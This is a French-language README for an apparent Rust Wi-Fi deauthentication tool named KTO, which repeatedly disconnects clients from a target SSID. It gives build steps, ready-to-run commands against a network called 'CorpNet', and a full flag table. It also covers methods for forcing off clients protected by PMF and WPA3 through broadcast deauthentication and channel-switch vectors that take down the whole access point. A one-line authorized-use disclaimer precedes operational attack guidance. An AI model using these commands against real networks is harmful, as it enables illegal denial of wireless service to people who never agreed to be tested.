
Outil automatisé de désauthentification Wi-Fi qui analyse en continu les clients sur un SSID cible et expulse les appareils non présents sur la liste blanche. Fonctionnalités : prise en charge de liste blanche, gestion mesh/multi-AP, détection PMF et contournement expérimental du PMF WPA2 par extraction EAPOL.
https://github.com/user-attachments/assets/0ebf61af-c306-4825-b836-95df59052c27
Pointez-le vers un SSID et il déconnecte les appareils sur ce réseau, y compris ceux qui se reconnectent. Vous lui donnez le nom du réseau ; il trouve le point d'accès, trouve les clients, et choisit une méthode de déconnexion adaptée à la sécurité du réseau.
Les anciennes versions ne fonctionnaient vraiment que contre le WPA/WPA2 à gestion ouverte. Celle-ci possède aussi des vecteurs pour PMF (802.11w) et WPA3, sans mot de passe nécessaire, bien que ceux-ci soient en diffusion uniquement et au mieux (voir ci-dessous).
Usage autorisé uniquement. Exécutez ceci contre des réseaux que vous possédez ou pour lesquels vous avez une autorisation écrite de tester. La désauthentification non autorisée est illégale dans la plupart des endroits.
Par défaut, KTO reste sûr vis-à-vis de la liste blanche : il envoie des trames de désauthentification et de désassociation unicast, dans les deux sens, à chaque client non présent dans la liste blanche qu'il a vu transmettre. Les MAC en liste blanche ne sont jamais ciblées. Cela déconnecte tout client qui n'a pas négocié PMF, ce qui couvre tout le WPA/WPA2 et tout client non-PMF sur un réseau mixte.
PMF (802.11w) est le piège. Il protège les trames deauth, disassoc et action unicast, donc un client PMF ou WPA3 ignore chaque trame forgée par client, y compris une Channel Switch Announcement unicast. Il n'existe pas de moyen sûr vis-à-vis de la liste blanche de contourner cela ; c'est exactement ce que PMF est conçu pour empêcher. Les seules trames qui atteignent encore un client PMF sont celles qui ne peuvent pas être dirigées vers un seul appareil :
Les deux touchent tout le BSS et ne peuvent pas honorer une liste blanche, donc ils sont opt-in via
--broadcast (qui ajoute aussi un deauth de diffusion). Utilisez-le quand vous devez
déconnecter des clients PMF/WPA3 et que vous pouvez accepter que les appareils en liste blanche tombent aussi.
--all-vectors est un synonyme pour activer les vecteurs de diffusion.
En résumé : sur WPA2 la liste blanche fonctionne et le deauth par client suffit. Sur
WPA3/PMF rien n'aboutit par défaut, les trames par client (deauth, et un CSA ciblé aussi) sont protégées et ignorées, donc vous devez passer --broadcast pour
déconnecter ces clients, et cela fait tomber tout le BSS, donc la liste blanche ne
s'applique plus.
Une mise en garde honnête : WPA3 avec PMF est conçu pour résister aux trames de gestion forgées. Aucun attaquant non authentifié ne peut garantir un kick contre lui. Ces vecteurs sont au mieux et aboutissent sur de nombreux déploiements réels, mais « fonctionne sur tous les réseaux » n'est pas une promesse que quiconque peut faire à propos de WPA3.
Nécessite une toolchain Rust et iw (de iproute2 / les outils sans fil) sur la
machine cible.
cargo build --release
Le binaire se trouve à target/release/kto. Exécutez-le en root.
sudo ./target/release/kto -i wlan0 -t "CorpNet" --auto-monitor
Sans --auto-monitor, l'interface doit déjà être en mode moniteur. Avec
celui-ci, KTO bascule l'interface en moniteur au démarrage et la remet en managed à la sortie.
Si vous ne passez pas -c, il balaie les canaux courants 2,4 et 5 GHz pour trouver la
cible, puis se verrouille sur son canal.
De nombreux routeurs domestiques annoncent un seul SSID depuis deux radios (2,4 GHz WPA2 et 5 GHz
WPA3, BSSID différents) pour le band steering. KTO recense chaque BSSID qui porte
le SSID et, quand plus d'un apparaît, les liste avec la bande et la sécurité et
demande lequel attaquer. Choisissez celui sur lequel votre appareil cible est réellement, ou nommez-le
d'emblée avec -b/--bssid. Cela compte : un client sur le BSSID WPA3 5 GHz
ne tombera pas si vous attaquez le clone WPA2 2,4 GHz.
KTO ne désauthentifie que les clients qu'il a vus transmettre, donc un appareil inactif peut ne jamais apparaître
de lui-même. Si un appareil spécifique ne tombe pas alors que d'autres oui, nommez-le avec
--client <MAC> ; KTO le frappera alors à chaque round quoi qu'il arrive. Vérifiez trois
choses : il est sur le BSSID/bande que vous attaquez, sa MAC est celle que vous attendez,
et, pour la rare carte réseau qui ignore le deauth, essayez --all-vectors (qui ajoute les
vecteurs de changement de canal et de réassociation même sur du WPA2 simple).
Plus d'exemples :
# déjà en mode moniteur, verrouillage sur un canal connu
sudo ./target/release/kto -i wlan0mon -t "CorpNet" -c 6
# SSID avec band steering : cibler l'AP exact sur lequel l'appareil se trouve
sudo ./target/release/kto -i wlan0mon -t "CorpNet" -b 62:a6:dd:6d:0a:24
# WPA3 / PMF : le par-client est bloqué, donc diffusion pour kick (tout le BSS, pas de liste blanche)
sudo ./target/release/kto -i wlan0mon -t "CorpNet" -b 62:a6:dd:6d:0a:24 --broadcast
# épargner vos propres appareils
sudo ./target/release/kto -i wlan0 -t "CorpNet" --auto-monitor -w AA:BB:CC:DD:EE:FF
# passif : lister les clients, ne rien envoyer
sudo ./target/release/kto -i wlan0mon -t "CorpNet" --scan-only
# envoyer tous les vecteurs quoi qu'il arrive, indépendamment de la sécurité
sudo ./target/release/kto -i wlan0mon -t "CorpNet" --all-vectors
| Flag | Default | Description |
|---|---|---|
-i, --interface | required | Wireless interface |
-t, --target | required | Target SSID |
-b, --bssid | auto | Target one AP by BSSID (band-steered / multi-AP SSIDs) |
-f, --first | off | Attack the first matching AP found (skip the picker) |
-c, --channel | auto | Lock to a channel, skip the discovery sweep |
--client | none | Always target these MACs, even if idle/unseen |
-w, --whitelist | none | Comma-separated MACs to spare |
--whitelist-file | none | File of MACs to spare, one per line (# comments) |
-n, --count | 8 | Frames per burst, per vector |
-s, --sleep | 0.05 | Seconds between attack rounds (small = continuous; raise to throttle) |
--reason | 7 | Deauth reason code (1 unspecified, 4 inactivity, 7 class-3) |
--broadcast | off | Also use broadcast / AP-wide vectors (ignores the whitelist) |
--scan-only | off | Discover clients, send nothing |
--auto-monitor | off | Enable monitor mode on start, restore on exit |
--csa-channel | 14 | Channel the CSA vectors herd clients onto |
--all-vectors | off | Synonym for --broadcast (turn the broadcast vectors on) |
--no-deauth | off | Disable deauth/disassoc |
--no-csa | off | Disable the channel-switch vectors |
--no-anon | off | Disable anonymous reassociation |
--no-tui | off | Plain scrolling output instead of the live dashboard |
--no-color | off | Plain output |
La MAC de l'interface est automatiquement mise en liste blanche pour que KTO ne se cible jamais lui-même.